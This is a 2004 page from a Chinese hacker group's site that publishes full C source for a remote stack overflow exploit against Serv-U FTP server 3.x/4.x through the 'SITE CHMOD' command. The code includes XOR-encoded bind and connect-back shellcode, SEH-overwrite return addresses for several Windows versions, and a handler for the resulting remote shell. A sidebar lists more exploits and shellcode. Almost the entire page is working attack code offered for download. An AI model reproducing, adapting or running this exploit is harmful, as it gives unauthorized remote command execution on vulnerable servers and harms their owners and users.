快速通道

文档分类

- 软件作品
- 文档作品
- **代码作品**

<=

推荐作品

- Windows RPC DCOM DoS exploit
- Serv-U FTPD 2.x/3.x/4.x/5.x "MDTM" Command Rem...
- Mysql 3.23.x/4.0.x remote exploit
- download url file shellcode for win2k/xp
- 利用hash值取得函数地址的connect back shellcode.
- 分析理解elf文件并且自动编排shellcode的程序

Serv-U FTPD 3.x/4.x site chmod command remote exploit v2.0

提交作品： lion
提交日期： 2004-02-02
作品属性： 推荐
文档类别： 代码作品
相关下载： **=>下载<=**
浏览次数： 今2次/总3849次

```
/*
*-------------------------------------------------------------------------
*
* Servu.c - Serv-U FTPD 3.x/4.x "SITE CHMOD" Command
* Remote stack buffer overflow exploit
*
* Copyright (C) 2004 HUC All Rights Reserved.
*
* Author   : lion
*          : lion@cnhonker.net
*          : http://www.cnhonker.com
* Date     : 2004-01-25
* Update   : 2004-02-01 v2.0 Change decode and target, can attack
windows XP and win2003 now.
*          : 2004-01-25 v1.0 Can attack Serv-U v3.0.0.20~v4.1.0.11
* Tested   : Windows 2000 Server EN/GB
*          :     + Serv-U v3.0.0.20~v4.1.0.11
*          : Windows XP/2003 GB
*          :     + Serv-U 4.x
* Notice   : *** Bug find by kkqq kkqq@0x557.org ***
*          : *** You need a valid account and a writable directory. ***
* Complie  : cl Servu.c
* Usage    : Servu <-i ip> <-t type> [-u user] [-p pass] [-d dir] [-f
ftpport] [-c cbhost] [-s shellport]
*-------------------------------------------------------------------------
*/

#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

#pragma comment(lib, "ws2_32")

// for bind shellcode
#define BIND_OFFSET       91
```

```
// for connectback shellcode
#define PORT_OFFSET       95
#define IP_OFFSET       88

#define SEH_OFFSET       0x193    //v3.0.0.20~v4.1.0.11
//#define    SEH_OFFSET       0x133            // work on
v3.0.0.16~v3.0.0.19, for connectback shellcode
#define MAX_LEN           2048
#define JMP_OVER       "\xeb\x06\xeb\x06"
#define    VERSION          "2.0"

struct
{
   DWORD    dwJMP;
   char    *szDescription;
}targets[] =
{
   {0x7801D07B,"Serv-U v3.0.0.20~v4.1.0.11 ALL  2K
 SP3/SP4"},       //msvcrt.dll pop,pop,ret addr
   {0x77c22ca7,"Serv-U v3.0.0.20~v4.1.0.11 ALL  XP
 SP1"},       //msvcrt.dll pop,pop,ret addr
   {0x7ffa1571,"Serv-U v3.0.0.20~v4.1.0.11 GB   2K/XP/2K3
ALL"},       //pop,pop,ret addr for all GB win2000 and winxp
   {0x7ffa4a1b,"Serv-U v3.0.0.20~v4.1.0.11 GB   2K       ALL"},       //jmp
ebx addr for all GB win2000 and winxp
   {0x7ffa2186,"Serv-U v3.0.0.20~v4.1.0.11 BG   2K
 ALL"},       //jmp ebx addr for all BG win2000 and winxp
   {0x6DEE6713,"Serv-U v3.0.0.20~v4.1.0.11 KR   2K
 SP4"},       //setupapi.dll jmp ebx addr
   {0x77886713,"Serv-U v3.0.0.20~v4.1.0.11 EN   2K
 SP4"},       //setupapi.dll jmp ebx addr
   {0x76b42a3a,"Serv-U v3.0.0.20~v4.1.0.11 EN   XP
 SP1"},       //winmm.dll pop,pop,ret addr
//    {0x12345678,"Serv-U v3.0.0.20~v4.1.0.11"},
},v;



unsigned char    *szSend[4];
unsigned char    szCommand[MAX_LEN];
unsigned char    szDirectory[0x100];

// 31 bytes decode by lion, don't change this.
unsigned char decode[]=
"\x5E\x5F\x5B\xBE\x6D\x69\x6F\x6E\x4E\xBF\x6D\x69\x30\x6E\x4F\x43"
"\x39\x3B\x75\xFB\x4B\x80\x33\x93\x39\x73\xFC\x75\xF7\xFF\xD3";

// Shellcode start sign, use for decode, don't change this.
unsigned char sc_start[]=
"lion";

// Shellcode end sign, use for decode, don't change this.
unsigned char sc_end[]=
"li0n";

// 311 bytes bind shellcode by lion (xor with 0x93)
unsigned char sc[]=
"\x7A\x96\x92\x93\x93\xCC\xF7\x32\xA3\x93\x93\x93\x18\xD3\x9F\x18"
"\xE3\x8F\x3E\x18\xFB\x9B\x18\x64\xF9\x97\xCA\x7B\x36\x93\x93\x93"
"\x71\x6A\xFB\xA0\xA1\x93\x93\xFB\xE4\xE0\xA1\xCC\xC7\x6C\x85\x18"
"\x7B\xF9\x95\xCA\x7B\x1F\x93\x93\x93\x71\x6A\x12\x7F\x03\x92\x93"
"\x93\xC7\xFB\x92\x92\x93\x93\x6C\xC5\x83\xC3\xC3\xC3\xC3\xF9\x92"
"\xF9\x91\x6C\xC5\x87\x18\x4B\x54\x94\x91\x93\x93\xA6\xA0\x53\x1A"
"\xD4\x97\xF9\x83\xC4\xC0\x6C\xC5\x8B\xF9\x92\xC0\x6C\xC5\x8F\xC3"
"\xC3\xC0\x6C\xC5\xB3\x18\x4B\xA0\x53\xFB\xF0\xFE\xF7\x93\x1A\xF5"
"\xA3\x10\x7F\xC7\x18\x6F\xF9\x87\xCA\x1A\x97\x1C\x71\x68\x55\xD4"
"\x83\xD7\x6D\xD4\xAF\x6D\xD4
```

```
\xAE\x1A\xCC\xDB\x1A\xCC\xDF\x1A\xCC"
"\xC3\x1E\xD7\xB7\x83\xC4\xC3\xC2\xC2\xC2\xF9\x92\xC2\xC2\x6C\xE5"
"\xA3\xC2\x6C\xC5\x97\x18\x5F\xF9\x6C\x6C\xA2\x6C\xC5\x9B\xC0\x6C"
"\xC5\xB7\x6C\xC5\x9F\xC2\xC5\x18\xE6\xAF\x18\xE7\xBD\xEB\x90\x66"
"\xC5\x18\xE5\xB3\x90\x66\xA0\x5A\xDA\xD2\x3E\x90\x56\xA0\x48\x9C"
"\x2D\x83\xA9\x45\xE7\x9B\x52\x58\x9E\x90\x49\xD3\x78\x62\xA8\x8C"
"\xE6\x74\xCD\x18\xCD\xB7\x90\x4E\xF5\x18\x9F\xD8\x18\xCD\x8F\x90"
"\x4E\x18\x97\x18\x90\x56\x38\xCD\xCA\x50\x7B\x65\x6D\x6C\x6C\x1D"
"\xDD\x9D\x7F\xE1\x6D\x20\x85\x3E\x4A\x96\x5D\xED\x4B\x71\xE0\x58"
"\x7E\x6F\xA8\x4A\x9A\x66\x3E\x37\x89\xE3\x54\x37\x3E\xBD\x7A\x76"
"\xDA\x15\xDA\x74\xEA\x55\xEA";

// 294 bytes connectback shellcode by lion (xor with 0x93)
unsigned char cbsc[]=
"\x7A\x6F\x93\x93\x93\xCC\xF7\x32\xA3\x93\x93\x93\x18\xD3\x9F\x18"
"\xE3\x8F\x3E\x18\xFB\x9B\x18\x64\xF9\x97\xCA\x7B\x0F\x93\x93\x93"
"\x71\x6A\xFB\xA0\xA1\x93\x93\xFB\xE4\xE0\xA1\xCC\xC7\x6C\x85\x18"
"\x7B\xF9\x97\xCA\x7B\x10\x93\x93\x93\x71\x6A\x12\x7F\x03\x92\x93"
"\x93\xC7\xFB\x92\x92\x93\x93\x6C\xC5\x83\xC3\xC3\xC3\xC3\xF9\x92"
"\xF9\x91\x6C\xC5\x87\x18\x4B\xFB\xEC\x93\x93\x92\xFB\x91\x93\x93"
"\xA6\x18\x5F\xF9\x83\xC2\xC0\x6C\xC5\x8B\x16\x53\xE6\xD8\xA0\x53"
"\xFB\xF0\xFE\xF7\x93\x1A\xF5\xA3\x10\x7F\xC7\x18\x6F\xF9\x83\xCA"
"\x1A\x97\x1C\x71\x68\x55\xD4\x83\xD7\x6D\xD4\xAF\x6D\xD4
\xAE\x1A"
"\xCC\xDB\x1A\xCC\xDF\x1A\xCC\xC3\x1E\xD7\xB7\x83\xC4\xC3\xC2
\xC2"
"\xC2\xF9\x92\xC2\xC2\x6C\xE5\xA3\xC2\x6C\xC5\x97\x18\x5F\xF9\x6C"
"\x6C\xA2\x6C\xC5\x9B\xC0\x6C\xC5\x8F\x6C\xC5\x9F\xC2\xC5\x18\xE6"
"\xAF\x18\xE7\xBD\xEB\x90\x66\xC5\x18\xE5\xB3\x90\x66\xA0\x5A\xDA"
"\xD2\x3E\x90\x56\xA0\x48\x9C\x2D\x83\xA9\x45\xE7\x9B\x52\x58\x9E"
"\x90\x49\xD3\x78\x62\xA8\x8C\xE6\x74\xCD\x18\xCD\xB7\x90\x4E\xF5"
"\x18\x9F\xD8\x18\xCD\x8F\x90\x4E\x18\x97\x18\x90\x56\x38\xCD\xCA"
"\x50\x7B\x6C\x6D\x6C\x6C\x1D\xDD\x9D\x7F\xE1\x6D\x20\x85
\x3E\x4A"
"\x96\x5D\xED\x4B\x71\xE0\x58\x7E\x6F\xA8\x4A\x9A\x66\x3E\x7F\x6A"
"\x39\xF3\x74\xEA\x55\xEA";

void usage(char *p)
{
   int    i;
   printf( "Usage:\t%s\t<-i ip> <-t type>\n"
      "\t\t[-u user] [-p pass] [-d dir]\n"
      "\t\t[-f ftpport] [-c cbhost] [-s shellport]\n\n"
      "[type]:\n" , p);
   for(i=0;i<sizeof(targets)/sizeof(v);i++)
   {
      printf("\t%d\t0x%x\t%s\n", i, targets[i].dwJMP, targets
[i].szDescription);
   }
}

/* ripped from TESO code and modifed by ey4s for win32 */
void shell (int sock)
{
   int     l;
   char    buf[512];
   struct    timeval time;
   unsigned long    ul[2];

   time.tv_sec = 1;
   time.tv_usec = 0;

   while (1)
   {
      ul[0] = 1;
      ul[1] = sock;
```

```
      l = select (0, (fd_set *)&ul, NULL, NULL, &time);
      if(l == 1)
      {
         l = recv (sock, buf, sizeof (buf), 0);
         if (l <= 0)
         {
            printf ("[-] Connection closed.\n");
            return;
         }
         l = write (1, buf, l);
         if (l <= 0)
         {
            printf ("[-] Connection closed.\n");
            return;
         }
      }
      else
      {
         l = read (0, buf, sizeof (buf));
         if (l <= 0)
         {
            printf("[-] Connection closed.\n");
            return;
         }
         l = send(sock, buf, l, 0);
         if (l <= 0)
         {
            printf("[-] Connection closed.\n");
            return;
         }
      }
   }
}

void main(int argc, char **argv)
{
   struct   sockaddr_in sa, server, client;
   WSADATA   wsd;
   SOCKET   s, s2, s3;
   int   iErr, ret, len;
   char   szRecvBuff[MAX_LEN];
   int   i, j, iType;
   int   iPort=21;
   char   *ip=NULL, *pUser="ftp", *pPass="ftp@ftp.com", *cbHost=NULL;
   char   user[128], pass[128];
   BOOL   bCb=FALSE, bLocal=TRUE;
   unsigned short   shport=53, shport2=0;
   unsigned long   cbip;
   unsigned int   timeout=5000, Reuse;
   char   penetrate[255],cbHost2[20];
   int seh_offset;

   printf( "Serv-U FTPD 3.x/4.x \"SITE CHMOD\" remote overflow exploit
V%s\r\n"
      "Bug find by kkqq kkqq@0x557.org, Code by lion (lion@cnhonker.net)
\r\n"
      "Welcome to HUC website http://www.cnhonker.com\r\n\n"
         , VERSION);

   seh_offset = SEH_OFFSET;

   if(argc < 4)
   {
      usage(argv[0]);
      return;
   }
```

```
for(i=1;i<argc;i+=2)
{
   if(strlen(argv[i]) != 2)
   {
      usage(argv[0]);
      return;
   }
   // check parameter
   if(i == argc-1)
   {
      usage(argv[0]);
      return;
   }
   switch(argv[i][1])
   {
      case 'i':
         ip=argv[i+1];
         break;
      case 't':
         iType = atoi(argv[i+1]);
         break;
      case 'f':
         iPort=atoi(argv[i+1]);
         break;
      case 'p':
         pPass = argv[i+1];
         break;
      case 'u':
         pUser=argv[i+1];
         break;
      case 'c':
         cbHost=argv[i+1];
         bCb=TRUE;
         break;
      case 's':
         shport=atoi(argv[i+1]);
         break;
      case 'd':
         if(argv[i+1][0] != '/')
            strcpy(szDirectory, "/");
         strncat(szDirectory, argv[i+1], sizeof(szDirectory)-0x20);

         if(szDirectory[strlen(szDirectory)-1] != '/')
            strcat(szDirectory, "/");

         // correct the directory len
         for(j=0;j<(strlen(szDirectory)-1)%8;j++)
            strcat(szDirectory, "x");

         //printf("%d:%s\r\n", strlen(szDirectory), szDirectory);
         seh_offset = seh_offset - strlen(szDirectory)+1;
         break;
   }
}

if((!ip) || (!user) || (!pass))
{
   usage(argv[0]);
   printf("[-] Invalid parameter.\n");
   return;
}

if( (iType<0) || (iType>=sizeof(targets)/sizeof(v)) )
{
   usage(argv[0]);
   printf("[-] Invalid type.\n");
   return;
```

```
    }

    if(iPort <0 || iPort >65535 || shport <0 || shport > 65535)
    {
       usage(argv[0]);
       printf("[-] Invalid port.\n");
       return;
    }

    _snprintf(user, sizeof(user)-1, "USER %s\r\n", pUser);
    user[sizeof(user)-1]='\0';
    _snprintf(pass, sizeof(pass)-1, "PASS %s\r\n", pPass);
    pass[sizeof(pass)-1]='\0';
    szSend[0] = user;    //user
    szSend[1] = pass;    //pass
    szSend[2] = penetrate;    //pentrate
    szSend[3] = szCommand;    //shellcode

    // Penetrate through the firewall.
    if(bCb && shport > 1024)
    {
       strncpy(cbHost2, cbHost, 20);
       for(i=0;i<strlen(cbHost); i++)
       {
          if(cbHost[i] == '.')
             cbHost2[i] = ',';
       }

       sprintf(penetrate, "PORT %s,%d,%d\r\n", cbHost2, shport/256,
shport%256);

       //printf("%s", penetrate);
    }
    else
    {
       sprintf(penetrate,"TYPE I\r\n");
    }

    // fill the "site chmod" command
    strcpy(szCommand, "site chmod 777 ");

    // fill the directory
    if(szDirectory[0])
       strcat(szCommand, szDirectory);

    // fill the egg
    for(i=0;i<seh_offset%8;i++)
       strcat(szCommand, "\x90");
    //strcat(szCommand, "BBBB");

    // fill the seh
    for(i=0;i<=(seh_offset/8)*8+0x20;i+=8)
    {
       strcat(szCommand, JMP_OVER);
       memcpy(&szCommand[strlen(szCommand)], &targets[iType].dwJMP,
4);
    }

    // fill the decode
    strcat(szCommand, decode);

    // fill the shellcode start    sign
    strcat(szCommand, sc_start);

    // fill the shellcode
    if(bCb)
    {
```

```
        // connectback shellcode
        shport2 = htons(shport)^(u_short)0x9393;
        cbip = inet_addr(cbHost)^0x93939393;
        memcpy(&cbsc[PORT_OFFSET], &shport2, 2);
        memcpy(&cbsc[IP_OFFSET], &cbip, 4);
        strcat(szCommand, cbsc);
    }
    else
    {
        // bind shellcode
        shport2 = htons(shport)^(u_short)0x9393;
        memcpy(&sc[BIND_OFFSET], &shport2, 2);
        strcat(szCommand, sc);
    }

    // fill the shellcode end sign
    strcat(szCommand, sc_end);

    // send end
    strcat(szCommand, "\r\n");

    if(strlen(szCommand) >= sizeof(szCommand))
    {
        printf("[-] stack buffer overflow.\n");
        return;
    }

//    printf("send size %d:%s", strlen(szCommand), szCommand);

    __try
    {
        if (WSAStartup(MAKEWORD(1,1), &wsd) != 0)
        {
            printf("[-] WSAStartup error:%d\n", WSAGetLastError());
            __leave;
        }

        s=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if(s == INVALID_SOCKET)
        {
            printf("[-] Create socket failed:%d",GetLastError());
            __leave;
        }

        sa.sin_family=AF_INET;
        sa.sin_port=htons((USHORT)iPort);
        sa.sin_addr.S_un.S_addr=inet_addr(ip);

        setsockopt(s,SOL_SOCKET,SO_RCVTIMEO,(char *)&timeout,sizeof
(unsigned int));
        iErr = connect(s,(struct sockaddr *)&sa,sizeof(sa));
        if(iErr == SOCKET_ERROR)
        {
            printf("[-] Connect to %s:%d error:%d\n", ip, iPort, GetLastError
());
            __leave;
        }
        printf("[+] Connect to %s:%d success.\n", ip, iPort);

        if(bCb)
        {
            Sleep(500);
            s2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

            server.sin_family=AF_INET;
            server.sin_addr.S_un.S_addr=inet_addr(cbHost);
            //server.sin_addr.s_addr=INADDR_ANY;
```

```
            server.sin_port=htons((unsigned short)shport);

            setsockopt(s2,SOL_SOCKET,SO_RCVTIMEO,(char *)&timeout,sizeof
(unsigned int));

            Reuse = 1;
            setsockopt(s2, SOL_SOCKET, SO_REUSEADDR, (char*)&Reuse,
sizeof(Reuse));

            if(bind(s2,(LPSOCKADDR)&server,sizeof(server))
==SOCKET_ERROR)
            {
               printf("[-] Bind port on %s:%d error.\n", cbHost, shport);
               printf("[-] You must run nc get the shell.\n");
               bLocal = FALSE;
               //closesocket(s2);
               //__leave;
            }
            else
            {
               printf("[+] Bind port on %s:%d success.\n", cbHost, shport);
               listen(s2, 1);
            }
         }

         for(i=0;i<sizeof(szSend)/sizeof(szSend[0]);i++)
         {
            memset(szRecvBuff, 0, sizeof(szRecvBuff));
            iErr = recv(s, szRecvBuff, sizeof(szRecvBuff), 0);
            if(iErr == SOCKET_ERROR)
            {
               printf("[-] Recv buffer error:%d.\n", WSAGetLastError());
               __leave;
            }
            printf("[+] Recv: %s", szRecvBuff);

            if(szRecvBuff[0] == '5')
            {
               printf("[-] Server return a error Message.\r\n");
               __leave;
            }

            iErr = send(s, szSend[i], strlen(szSend[i]),0);
            if(iErr == SOCKET_ERROR)
            {
               printf("[-] Send buffer error:%d.\n", WSAGetLastError());
               __leave;
            }

            if(i==sizeof(szSend)/sizeof(szSend[0])-1)
               printf("[+] Send shellcode %d bytes.\n", iErr);
            else
               printf("[+] Send: %s", szSend[i]);
         }

         printf("[+] If you don't have a shell it didn't work.\n");

         if(bCb)
         {
            if(bLocal)
            {
               printf("[+] Wait for shell...\n");

               len = sizeof(client);
               s3 = accept(s2, (struct sockaddr*)&client, &len);
               if(s3 != INVALID_SOCKET)
               {
```

```
            printf("[+] Exploit success! Good luck! :)\n");
            printf("[+] ===--====--====--====--====--====------==--
===--====--====--====--====--====--===\n");
            shell(s3);
          }
        }
      }
      else
      {
        printf("[+] Connect to shell...\n");

        Sleep(1000);
        s2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
        server.sin_family = AF_INET;
        server.sin_port = htons(shport);
        server.sin_addr.s_addr=inet_addr(ip);

        ret = connect(s2, (struct sockaddr *)&server, sizeof(server));
        if(ret!=0)
        {
          printf("[-] Exploit seem failed.\n");
          __leave;
        }

        printf("[+] Exploit success! Good luck! :)\n");
        printf("[+] ===--====--====--====--====--====--====------==--
===--====--====--====--====--====--===\n");
        shell(s2);
      }


   }

   __finally
   {
      if(s != INVALID_SOCKET) closesocket(s);
      if(s2 != INVALID_SOCKET) closesocket(s2);
      if(s3 != INVALID_SOCKET) closesocket(s3);
      WSACleanup();
   }

   return;
}
```

返回上页

Copyright © 2000-2004 **HUC** All Rights Reserved.
中国红客网络技术联盟 www.cnhonker.com
webmaster@cnhonker.net